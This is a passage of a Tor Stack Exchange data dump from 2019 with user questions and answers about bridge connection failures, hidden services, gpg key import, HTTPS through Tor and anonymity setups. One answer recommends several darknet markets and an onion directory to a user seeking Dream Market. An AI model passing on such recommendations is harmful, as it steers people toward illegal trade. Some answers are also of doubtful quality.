01:50:44.827 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:45.236 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:45.236 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:49.830 [NOTICE] Bootstrapped 55% (loading_descriptors): Loading relay descriptors &#xA;7/11/19, 01:50:49.480 [NOTICE] Bootstrapped 61% (loading_descriptors): Loading relay descriptors &#xA;7/11/19, 01:50:49.816 [NOTICE] Bootstrapped 67% (loading_descriptors): Loading relay descriptors &#xA;7/11/19, 01:52:41.690 [WARN] Proxy Client: unable to connect to 178.128.164.36:34415 (&quot;general SOCKS server failure&quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27301" LastEditorUserId="5234" LastEditDate="2019-08-07T14:32:09.403" LastActivityDate="2021-12-25T02:01:50.187" Title="Tor won't connect even through bridges" Tags="|bridge|socks|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20046" PostTypeId="1" CreationDate="2019-07-12T08:54:55.787" Score="0" ViewCount="622" Body="&lt;p&gt;I've been using tor for quite a while now and I want to create a private ip network/lan but want it to be secure. I will try to explain this as best as I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I want to do is build a lan using tor. I want to be able to use a tool like scallion (&lt;a href=&quot;https://github.com/lachesis/scallion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/lachesis/scallion&lt;/a&gt;) and have my users or me to be able to create a .onion and setup a local web server and have it point to the .onion they've just created (Not going through the internet). I've tried everything I could, I've tried options in the torrc like hiddenserviceport 8080 10.0.0.5:8080 and hiddenservicedir C:/Users//tor_hidden_service, I've tried google and the closest results i'm getting to what I want to do is &quot;How can I share my tor with lan devices&quot;. Does tor require internet to work? Can I setup a relay with a lan ip address and configure that in tor browser somehow? Sorry if it is a lot to ask but I've been trying this for days and can't get it to work. ANY HELP is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="27306" LastActivityDate="2021-12-29T06:03:10.277" Title="Can I Create A Local Area Network Using TOR?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20047" PostTypeId="2" ParentId="20046" CreationDate="2019-07-12T11:49:40.593" Score="0" Body="&lt;h3&gt;Possible fixes&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Try a standard torrc port ie. &lt;code&gt;10.0.0.8:90xx&lt;/code&gt; not :8xxx-8080's &lt;/li&gt;&#xA;&lt;li&gt;C:\Users... is not an admin or root acount.&lt;/li&gt;&#xA;&lt;li&gt;I don't do Windoz especially web servers hard to configure.&lt;/li&gt;&#xA;&lt;li&gt;I recommend that you partition your server's HDD and install a linux distro on it.&lt;/li&gt;&#xA;&lt;li&gt;Question: how have you configured your exit-node?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://duckduckgo.com/?q=tor+exit+node+configuration&amp;amp;t=ftas&amp;amp;ia=images&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://duckduckgo.com/?q=tor+exit+node+configuration&amp;amp;t=ftas&amp;amp;ia=images&lt;/a&gt;***&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;:neckbeard: &lt;/h2&gt;&#xA;" OwnerUserId="27307" LastActivityDate="2019-07-12T11:49:40.593" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20048" PostTypeId="1" CreationDate="2019-07-12T18:25:52.247" Score="1" ViewCount="2019" Body="&lt;p&gt;This is the Log I get after clicking:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Shutting down all existing connections. &#xA;7/12/19, 17:45:37.240 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/12/19, 17:45:37.240 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;7/12/19, 17:45:37.240 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;7/12/19, 17:45:37.853 [WARN] Managed proxy at 'TorBrowser\Tor\PluggableTransports\terminateprocess-buffer.exe' reported: 2019/07/12 17:45:37 running firefox command [&quot;C:\\Users\\Administrator\\Desktop\\Tor Browser\\Browser\\firefox.exe&quot; &quot;--invisible&quot; &quot;-no-remote&quot; &quot;-profile&quot; &quot;C:\\Users\\Administrator\\Desktop\\Tor Browser\\Browser\\TorBrowser\\Data\\Browser\\profile.meek-http-helper&quot;] &#xA;7/12/19, 17:45:37.853 [WARN] Managed proxy at 'TorBrowser\Tor\PluggableTransports\terminateprocess-buffer.exe' reported: 2019/07/12 17:45:37 firefox started with pid 2156 &#xA;7/12/19, 17:45:38.867 [WARN] Managed proxy at 'TorBrowser\Tor\PluggableTransports\terminateprocess-buffer.exe' reported: 2019/07/12 17:45:38 running meek-client command [&quot;TorBrowser\\Tor\\PluggableTransports\\meek-client.exe&quot; &quot;--helper&quot; &quot;127.0.0.1:64639&quot;] &#xA;7/12/19, 17:45:38.867 [WARN] Managed proxy at 'TorBrowser\Tor\PluggableTransports\terminateprocess-buffer.exe' reported: 2019/07/12 17:45:38 meek-client started with pid 2600 &#xA;7/12/19, 17:45:38.868 [WARN] Managed proxy at 'TorBrowser\Tor\PluggableTransports\terminateprocess-buffer.exe' reported: 2019/07/12 17:45:38 using helper on 127.0.0.1:64639 &#xA;7/12/19, 17:45:38.868 [WARN] Managed proxy at 'TorBrowser\Tor\PluggableTransports\terminateprocess-buffer.exe' reported: 2019/07/12 17:45:38 listening on 127.0.0.1:64640 &#xA;7/12/19, 17:45:38.869 [NOTICE] Bootstrapped 1% (conn_pt): Connecting to pluggable transport &#xA;7/12/19, 17:45:38.888 [NOTICE] Bootstrapped 2% (conn_done_pt): Connected to pluggable transport &#xA;7/12/19, 17:45:38.890 [NOTICE] Bootstrapped 10% (conn_done): Connected to a relay &#xA;7/12/19, 17:45:45.944 [NOTICE] Bootstrapped 14% (handshake): Handshaking with a relay &#xA;7/12/19, 17:45:50.732 [NOTICE] Bootstrapped 15% (handshake_done): Handshake with a relay done &#xA;7/12/19, 17:45:50.733 [NOTICE] Bootstrapped 20% (onehop_create): Establishing an encrypted directory connection &#xA;7/12/19, 17:45:53.950 [NOTICE] Bootstrapped 25% (requesting_status): Asking for networkstatus consensus &#xA;7/12/19, 17:45:54.174 [NOTICE] Delaying directory fetches: No running bridges &#xA;7/12/19, 17:46:03.240 [NOTICE] Bootstrapped 30% (loading_status): Loading networkstatus consensus &#xA;7/12/19, 17:46:03.360 [NOTICE] new bridge descriptor 'cymrubridge02' (fresh): $97700DFE9F483596DDA6264C4D7DF7641E1E39CE~cymrubridge02 at 0.0.2.0 &#xA;7/12/19, 17:46:26.360 [WARN] Refusing to apply consensus diff because the base consensus doesn't match the digest as found in the consensus diff header. &#xA;7/12/19, 17:46:26.360 [WARN] Expected: 31A519B72EC64D5CFC5340E47D34F15B815674E6833F447C344C0F34F66D1B69; found: A7967A9A0A73D3197EA6A9DADAC9667918E4BE4A49AF56E19317FB1AD0255648 &#xA;7/12/19, 17:46:26.361 [WARN] Could not apply consensus diff received from server '0.0.2.0:2' &#xA;7/12/19, 17:47:25.190 [WARN] Refusing to apply consensus diff because the base consensus doesn't match the digest as found in the consensus diff header. &#xA;7/12/19, 17:47:25.190 [WARN] Expected: 31A519B72EC64D5CFC5340E47D34F15B815674E6833F447C344C0F34F66D1B69; found: A7967A9A0A73D3197EA6A9DADAC9667918E4BE4A49AF56E19317FB1AD0255648 &#xA;7/12/19, 17:47:25.191 [WARN] Could not apply consensus diff received from server '0.0.2.0:2' &#xA;7/12/19, 17:47:25.191 [WARN] Refusing to apply consensus diff because the base consensus doesn't match the digest as found in the consensus diff header. &#xA;7/12/19, 17:47:25.191 [WARN] Expected: 31A519B72EC64D5CFC5340E47D34F15B815674E6833F447C344C0F34F66D1B69; found: A7967A9A0A73D3197EA6A9DADAC9667918E4BE4A49AF56E19317FB1AD0255648 &#xA;7/12/19, 17:47:25.191 [WARN] Could not apply consensus diff received from server '0.0.2.0:2'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27310" LastEditorUserId="27245" LastEditDate="2019-08-07T14:31:56.280" LastActivityDate="2021-12-15T01:02:35.227" Title="Tor gets stuck on &quot;Loading Network Status&quot;" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20049" PostTypeId="1" CreationDate="2019-07-13T15:22:01.753" Score="0" ViewCount="2008" Body="&lt;p&gt;Is it useful to run the Whonix gateway in a VM inside of tails, running as a liveboot, to connect to another VM like for example Kali, which also runs inside of Tails, because it would rout my traffic through tor 2 times and I still could setup a VPN in Kali so I would not face the disadvantage of blacklisted exit nodes or are there any other possible issues I do not recognize? Because I have read it would be kinda dangerous to use Tor over Tor but no one was able to exactly explain why. &#xA;Thanks for any help or explanations &lt;/p&gt;&#xA;" OwnerUserId="27315" LastActivityDate="2019-07-13T15:22:01.753" Title="Combining Whonix with Tails" Tags="|anonymity|tails|whonix|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20050" PostTypeId="1" CreationDate="2019-07-13T21:55:02.347" Score="0" ViewCount="376" Body="&lt;p&gt;I'm new to this, so sorry if this is a stupid question and/or an easy fix. I just can't seem to find any information that helps with this issue anywhere. Whenever I go to open Tor, I'm getting this error message: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The item 'firefox.exe' which this shortcut refers to has been changed or moved, so this shortcut will no longer work properly. Do you want to delete this shortcut? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything was working fine until about April of this year, when I started getting this error message. I've tried to uninstall and reinstall multiple times but that hasn't worked. Also, Tor is not even showing up in my 'programs' list when I do have it installed. Maybe it's a bug, or something? I've looked into restoring broken shortcuts but nothing I've found has helped. Again, sorry if this is stupid. If anyone can help it would be much appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="27319" LastActivityDate="2022-01-20T10:05:35.560" Title="When trying to open Tor, I'm getting this error message" Tags="|help|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20051" PostTypeId="1" CreationDate="2019-07-14T05:37:30.360" Score="2" ViewCount="1019" Body="&lt;p&gt;I try to import Tor browser public key like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyserver pool.sks-keyservers.net --recv-keys 0x4E2C6E8793298290&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I get error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pubring.kbx': Provided object is too large&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use debian based distributive. How I can import public key ? Or where I can download Tor public key *.asc so I can &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --import tor-key.asc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27322" LastActivityDate="2019-07-14T07:40:10.667" Title="Tor public key Provided object is too large" Tags="|tor-browser-bundle|security|linux|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20052" PostTypeId="2" ParentId="20051" CreationDate="2019-07-14T07:40:10.667" Score="1" Body="&lt;p&gt;This is probably caused by &lt;a href=&quot;https://github.com/micahflee/torbrowser-launcher/issues/400&quot; rel=&quot;nofollow noreferrer&quot;&gt;key spam&lt;/a&gt; - a few days ago this key took up about 30 MB and took about 10 minutes to &lt;em&gt;delete.&lt;/em&gt; &lt;a href=&quot;https://gist.github.com/rjhansen/67ab921ffb4084c865b3618d6955275f#mitigations&quot; rel=&quot;nofollow noreferrer&quot;&gt;Suggested mitigation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2019-07-14T07:40:10.667" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20053" PostTypeId="1" CreationDate="2019-07-14T20:31:32.127" Score="0" ViewCount="95" Body="&lt;p&gt;I am trying to get familiar with the Tor browser.  Import Export HTML&#xA;does not seem to execute a retrieval/recovery.  I have seen brief explanations on search.  But is there anything more current and accurate for new releases.&#xA;I'm on Win 7 64.  Mozbackup has been a favorote executable to do all restore&#xA;and backups&lt;/p&gt;&#xA;" OwnerUserId="23070" LastActivityDate="2021-12-21T10:01:25.103" Title="A Mozbackup (Firefox style) program for Tor Browser" Tags="|windows|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20055" PostTypeId="1" AcceptedAnswerId="20057" CreationDate="2019-07-16T20:23:53.230" Score="0" ViewCount="453" Body="&lt;p&gt;I understand in general how TOR works, with creating a circuit from the client using 3 random nodes in the TOR network - the entry node, some internal node, and an exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is about how HTTPS works with TOR, and specifically whether or not the data sent to the end server is actually secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I assume it works, the HTTPS session is created between the exit node (the 3rd node in the circuit) and the target server, but that means this 3rd node can actually see all the data I'm sending as cleartext, including any form data (e.g. credit card numbers, passwords etc.), it then takes that cleartext data and uses the HTTPS/SSL protocols to send it securely to the target server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I wrong/missing something?&#xA;Is all the data I'm sending to the end server visible to the TOR exit node, even when browsing to an HTTPS connection?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To be 100% clear - I'm talking about a case where I'm using TOR to connect to an HTTPS website OUTSIDE of TOR, as connecting to .onion addresses already ensures e2e encryption without the need for HTTPS.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27334" LastEditorUserId="27334" LastEditDate="2019-07-16T20:37:48.110" LastActivityDate="2019-07-18T10:57:56.187" Title="How sending form data over HTTPS using TOR works" Tags="|anonymity|https|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20056" PostTypeId="2" ParentId="18088" CreationDate="2019-07-18T01:39:47.487" Score="1" Body="&lt;p&gt;You have to be on wifi with no restrictions like at your house. &#xA;I can use orbot/orfox for regular sites but when I try to access onion sites it loads about 25% the way and stops. Normally, if a site is busy or under ddos attack tor will let you know. But, it doesn't go to that page. It continues to try to load the page never making it past 25%.&#xA;I found another app which works. Plain old Tor. Its one app. Go to play store and search Tor. No more having to use two apps. Just like tor on your pc. Simple.&lt;/p&gt;&#xA;" OwnerUserId="27340" LastActivityDate="2019-07-18T01:39:47.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20057" PostTypeId="2" ParentId="20055" CreationDate="2019-07-18T10:52:48.513" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;[...] the HTTPS session is created between the exit node [...] and the target server [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;that's the point where your thinking/assumption gets wrong.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Tor does not change the principle how HTTP, HTTPS, SSL (and DNS etc.) works.&lt;br&gt;&#xA;the SSL handshake is always done between your machine and the target server and Tor does not manipulate your traffic resp. encryption, else it would be a &lt;a href=&quot;https://en.wikipedia.org/wiki/Man-in-the-middle_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;MITM attack&lt;/a&gt; itself.&lt;br&gt;&#xA;Tor just adds some layers of &lt;strong&gt;additional&lt;/strong&gt; encryption - you can imagine it as the outer shell of an onion, and then acts like a (resp. some) proxys. this system is called &lt;a href=&quot;https://en.wikipedia.org/wiki/Onion_routing&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;onion routing&lt;/em&gt;&lt;/a&gt; and that's why &lt;em&gt;Tor&lt;/em&gt; was initially an abbreviation of &lt;strong&gt;&lt;em&gt;T&lt;/strong&gt;he &lt;strong&gt;o&lt;/strong&gt;nion &lt;strong&gt;r&lt;/strong&gt;outing&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so when using HTTPS the exit node just sees encrypted traffic and that someone from the Tor network is surfing the site &lt;em&gt;&quot;domain.tld&quot;&lt;/em&gt;... and yes, when only using HTTP the exit node (and every attacker between it and the server) can read and manipulate the whole traffic.&lt;br&gt;&#xA;usually without Tor, your ISP sees the same and additionally knowing that &lt;strong&gt;you&lt;/strong&gt; are surfing &lt;em&gt;&quot;domain.tld&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;that's why you should definitively use HTTPS when surfing clearweb-sites (via Tor) resp. also &lt;strong&gt;prefer HTTPS in general whenever possible&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;well, perhaps this eases the whole explanation... a very good site to play a little bit around &quot;who sees what with and without Tor and HTTPS&quot;: &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eff.org/pages/tor-and-https&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2019-07-18T10:57:56.187" LastActivityDate="2019-07-18T10:57:56.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20059" PostTypeId="1" AcceptedAnswerId="20112" CreationDate="2019-07-18T19:38:02.610" Score="0" ViewCount="609" Body="&lt;p&gt;I'll buy a small server and will install some Ubuntu distro on it, and among other things I'll install a Tor bridge that won't be an exit replay. I also will use it as a SOCKS proxy for a Firefox, I know this doesn't follow best anonimity practices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today my relay runs on Windows, as a Tor Expert bundle, executed by Vidalia. Vialia has a chart that shows last minutes traffic usage. Is it possible to config Tor to keep some sort of log about it?&lt;/p&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2019-07-30T10:29:52.690" Title="How to monitor traffic usage on a Tor bridge on Linux?" Tags="|relays|linux|bridge|ubuntu|traffic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20060" PostTypeId="1" CreationDate="2019-07-19T11:39:20.357" Score="0" ViewCount="80" Body="&lt;p&gt;I would like to use Tor/Orfox/Orbot on Android while using a Pay-As-You-Go SIM card. I live in the United Kingdom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, did you encounter any issues?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need a registered SIM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="27356" LastActivityDate="2021-12-21T06:08:35.790" Title="PAYG sim and TOR" Tags="|orbot|android|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20061" PostTypeId="2" ParentId="7546" CreationDate="2019-07-20T09:25:28.423" Score="0" Body="&lt;p&gt;You can try &lt;a href=&quot;https://github.com/torpyorg/torpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Torpy&lt;/a&gt; pure python tor protocol implementation or if you prefer C implementation try &lt;a href=&quot;https://github.com/wbenny/mini-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;mini-tor&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="27363" LastActivityDate="2019-07-20T09:25:28.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20062" PostTypeId="2" ParentId="12178" CreationDate="2019-07-20T10:02:00.943" Score="0" Body="&lt;p&gt;Your algorithm correct only for connection to clear-net hosts not for hidden services. For connecting to hidden services after step 9 but before 10 you also must do another things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;9.1) Send &lt;code&gt;ESTABLISH_RENDEZVOUS&lt;/code&gt; cell with some random cookie and wait for &lt;code&gt;RENDEZVOUS_ESTABLISHED&lt;/code&gt; back&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;9.2) Enumerate &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v2.txt#n505&quot; rel=&quot;nofollow noreferrer&quot;&gt;ResposibleDirs&lt;/a&gt; nodes which you can get by searching HsDirs from consensus and &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v2.txt#n232&quot; rel=&quot;nofollow noreferrer&quot;&gt;descriptor_id&lt;/a&gt; of the hidden_service&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;9.3) From ResponsibleDirs you can get list of Introduction Points by fetching descriptor (this descriptor must be fetched through new special circuit)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;9.4) After that you must create new special circuit for connecting to Introduction Point and send them &lt;code&gt;INTRODUCE1&lt;/code&gt; cell with your random cookie and service descriptor cookie&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;9.5) When some of introduction point returns you &lt;code&gt;INTRODUCE_ACK&lt;/code&gt; you can extend you main circuit (which you create with your first 9 steps) and after it try connect with step 10 to hidden service. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This also valid only for hidden service v2 specification (small onion addresses). For more information you can read at tor specification: &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v2.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/rend-spec-v2.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more simple implementation details you can read at &lt;a href=&quot;https://github.com/torpyorg/torpy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Torpy&lt;/a&gt; (python tor client implementation) code &lt;code&gt;extend_to_hidden&lt;/code&gt; method: &lt;a href=&quot;https://github.com/torpyorg/torpy/blob/master/torpy/circuit.py#L547&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torpyorg/torpy/blob/master/torpy/circuit.py#L547&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27363" LastActivityDate="2019-07-20T10:02:00.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20064" PostTypeId="2" ParentId="6445" CreationDate="2019-07-20T18:13:52.927" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Therefore, Tor bridge relays are not necessarily safer to use&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a benefit and a good reason to use bridges even if you can connect to the network normally.&#xA;Bridges add an extra layer of anonymity since they look like normal traffic and don't reveal the fact that you are connecting to the tor network.&#xA;Therefore this makes it safer to use a bridge.&#xA;This can be researched at &lt;a href=&quot;https://torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torproject.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It doesn't matter whether you use a bridge or not. You're experiencing&#xA;  a coincidence, not some actual relation between using bridges or not&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This however is more likely than not to be true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27367" LastActivityDate="2019-07-20T18:13:52.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20065" PostTypeId="2" ParentId="19174" CreationDate="2019-07-20T19:17:59.743" Score="0" Body="&lt;p&gt;I found this blog post which clearly states that the Dream Market has been closed for quite a while now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://deeponionweb.com/2019/05/10/dream-market-admin-update/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://deeponionweb.com/2019/05/10/dream-market-admin-update/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggest you try any of the other darknets markets such as Agara Market, Empire Market or Nightmare Market they are all equally as good. You can try a Tor directory such as &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://onion.live&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onion.live&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to help you in your search hope that helped if not just reply and I will do my best on advising you.&lt;/p&gt;&#xA;" OwnerUserId="27368" LastEditorUserId="27368" LastEditDate="2019-07-20T19:34:43.627" LastActivityDate="2019-07-20T19:34:43.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20066" PostTypeId="2" ParentId="6939" CreationDate="2019-07-20T19:19:11.053" Score="7" Body="&lt;p&gt;First you configured the wrong port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Tor Browser&lt;/em&gt;&lt;/strong&gt; listens on 9150&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;tor&lt;/em&gt;&lt;/strong&gt; uses 9050 &#xA;(get used to the way I spelled the 2 with the capital and the lowercase because that is how you tell the difference in a lot of documentation)&lt;/p&gt;&#xA;" OwnerUserId="27369" LastEditorUserId="30244" LastEditDate="2020-06-08T11:19:55.850" LastActivityDate="2020-06-08T11:19:55.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20067" PostTypeId="1" CreationDate="2019-07-21T03:57:32.803" Score="0" ViewCount="320" Body="&lt;p&gt;I have got ThinkPad T400 with coreboot and minimal OpenBSD installation with full-disk encryption. All non-Tor traffic is dropped by pf. Only allowed traffic on the host is torified traffic from package manager, gpg, git and traffic from virtual machines. I set up Whonix-Workstation inside virtual machine and Whonix-Gateway on separate device. ThinkPad works without battery on AC power. I use open-hardware router. Is it a good setup for anonymous using internet?&lt;/p&gt;&#xA;" OwnerDisplayName="user18768" LastEditorUserId="27377" LastEditDate="2019-07-27T00:00:58.737" LastActivityDate="2022-04-12T12:04:20.507" Title="How am I anonymous and safe with my config?" Tags="|configuration|anonymity|transparent-proxy|openbsd|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20068" PostTypeId="1" CreationDate="2019-07-21T11:35:45.713" Score="0" ViewCount="35" Body="&lt;p&gt;I was using TOR yesterday (July 21, 2019) and received one of those ads right over the music video I was watching on youtube. This ad definitely looked like a scam - it would probably have downloaded a malicious program had I clicked on the ad. The ad said &quot;Click here to fix/improve performance of Windows.&quot; My guess is there was malicious software on one of the servers used by TOR, not on youtube. Anybody with thoughts on this, please let me know because it concerns me.&lt;/p&gt;&#xA;" OwnerUserId="27370" LastActivityDate="2019-07-21T11:35:45.713" Title="Windows update/fix ad while using TOR on youtube" Tags="|security|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20069" PostTypeId="1" CreationDate="2019-07-21T15:09:46.633" Score="0" ViewCount="697" Body="&lt;p&gt;I think I have a spyware on my computer. It can't be detected by antivirus, so I can't find and delete it. How to protect Tor browser from this spyware that it doesn't get access to Tor files and Internet? In my firewall only Tor browser is allowed access to Internet, and all other outgoing connections are blocked.&#xA;My OS is Windows 10 Home.&lt;/p&gt;&#xA;" OwnerUserId="27372" LastEditorUserId="27378" LastEditDate="2019-08-07T18:42:41.313" LastActivityDate="2021-12-25T03:02:30.200" Title="How to protect Tor browser from a spyware on my computer?" Tags="|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20070" PostTypeId="1" CreationDate="2019-07-21T16:31:04.377" Score="1" ViewCount="188" Body="&lt;p&gt;I see a lot of unknown outgoing connections from tor.exe to different IP addresses (about 6-7) every time Tor browser first connects to Internet after its installing. Only Tor entry guard remains with the following connections to Internet. Is it normal for Tor browser? What are these IP addresses? Is it possible to forbid them in my firewall and leave only Tor entry guard for higher security?&lt;/p&gt;&#xA;" OwnerUserId="27373" LastEditorUserId="27378" LastEditDate="2019-08-07T14:31:46.757" LastActivityDate="2021-12-24T19:06:25.623" Title="Multiple outgoing connections from Tor browser" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20071" PostTypeId="2" ParentId="13037" CreationDate="2019-07-21T18:59:16.223" Score="0" Body="&lt;p&gt;Just for clarification in case anyone comes across this even though it is from 2016.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any user added configuration to torrc can just go at the bottom of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no need to make a new file and tell tor to look at it.&#xA;In fact this may cause more problems or confusion for the user if they are new to using tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this is not about the browser in case anyone thinks so and goes poking around in /etc or wherever and messes something up looking for files that don't exist becuase they are using the Tor Browser not tor.&lt;/p&gt;&#xA;" OwnerUserId="27374" LastActivityDate="2019-07-21T18:59:16.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
